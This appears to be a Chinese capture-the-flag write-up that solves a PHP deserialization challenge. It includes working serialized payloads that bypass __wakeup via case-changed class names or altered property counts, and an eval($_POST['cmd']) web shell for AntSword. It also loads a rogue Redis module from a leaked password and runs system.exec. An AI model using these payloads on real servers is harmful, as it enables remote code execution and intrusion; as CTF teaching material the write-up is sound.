本题考点
- php反序列化绕过__wakeup()魔术方法
- 利用Redis主从复制漏洞RCE
解题过程
代码语言:javascript复制<?php
class A{
public $code = "";
function __call($method,$args){
eval($this->code);
}
function __wakeup(){
$this->code = "";
}
}
class B{
function __destruct(){
echo $this->a->a();
}
}
if(isset($_REQUEST['poc'])){
preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
if (isset($ret[1])) {
foreach ($ret[1] as $i) {
if(intval($i)!==1){
exit("you want to bypass wakeup ? no !");
}
}
unserialize($_REQUEST['poc']);
}
}else{
highlight_file(__FILE__);
}
这里需要触发A类的__call()
方法中eval
语句才能实现代码执行,__call()
方法可以被B类的__destruct()
方法中调用不存在的方法a()
时触发,但需要注意的是__wakeup
函数会在这个类初始化之前触发。如果等这个函数触发之后,再去执行__call()
方法,那么code
变量就是一个空字符串了,无法执行心仪的代码,所以需要绕过__wakeup()
。根据cve-2016-7124
,当对象属性个数大于真实对象属性个数时跳过__wakeup()
的执行,但/"[BA]":(.*?):/s
这段正则匹配让我们不能直接修改属性个数,这里有两种姿势
因为类名不区分大小写,利用这个性质可以让正则匹配不到而失去限制作用
代码语言:javascript复制<?php
class a
{
public $code = "phpinfo();";
}
class b{
public $a;
}
$a = new a();
$b = new b();
$b->a = $a;
echo(serialize($b));
// O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}
// 修改后 O:1:"b":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:10:"phpinfo();";}}
或者通过加一个属性,并把序列化后字符串对象属性个数改为1,让对象属性个数大于真实属性个数即可
代码语言:javascript复制<?php
class A
{
public $code = "phpinfo();";
}
class B{
public $a;
public $b;
}
$a = new A();
$b = new B();
$b->a = $a;
echo(serialize($b));
//O:1:"B":2:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}s:1:"b";N;}
//修改后 O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}s:1:"b";N;}
然后就可以看到 phpinfo 的内容,查看disable_functions那一栏可以发现禁用了很多函数,想要直接RCE非常困难,但是$_POST["cmd"]
没被过滤,连上蚁剑试试
<?php
class A
{
public $code = 'eval($_POST["cmd"]);';
}
class B{
public $a;
public $b;
}
$a = new A();
$b = new B();
$b->a = $a;
echo(serialize($b));
//O:1:"B":2:{s:1:"a";O:1:"A":1:{s:4:"code";s:20:"eval($_POST["cmd"]);";}s:1:"b";N;}
//修改后 O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:20:"eval($_POST["cmd"]);";}s:1:"b";N;}
连接蚁剑后发现了其他目录不可访问,因为设置了open_basedir
,即PHP设置中为了防御PHP跨目录进行文件(目录)读写的方法。但 php 5.3 后少有绕过的方法,所以这个攻击方向暂不考虑。在phpinfo中查看 open_basedir 的目录,发现/tmp
也允许读写,
![在这里插入图片描述](https://img-blog.csdnimg.cn/bb368f956bd345ddbac1f18a6adad4e3.png#pic_center)
除此之外,本目录下有一个.swp
的 vim 泄露文件,进入查看发现了Redis服务的密码,数据库名、密码、用户名和主机名,很容易想到是利用Redis提权
<?php
define("DB_HOST","localhost");
define("DB_USERNAME","root");
define("DB_PASSWOrd","");
define("DB_DATABASE","test");
define("REDIS_PASS","you_cannot_guess_it");
下载并加载蚁剑Redis插件并连接Redis服务,向/var/www/html
上传恶意.so
文件(https://github.com/Dliv3/redis-rogue-server)
Redis的主从复制 Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机(master),其他实例都作为备份机(slave),其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。 Redis模块 在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。编写恶意so文件的代码: https://github.com/Dliv3/redis-rogue-server 利用原理 在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载so文件,我们就可以执行拓展的新命令了。很多主从复制导致任意命令执行都是通过Redis的未授权访问漏洞导致了横向移动攻击方式的发生。
那么在Redis命令行执行下列命令即可
代码语言:javascript复制MODULE LOAD /var/www/html/exp.so
system.exec "cat /f*"
还有种姿势是利用蚁剑的绕过 disable_function 插件打穿,下载安装插件后加载,选择模式时选择后面两个模式其中一个即可,其他模式因为 php 版本不符、服务不支持等原因而不适用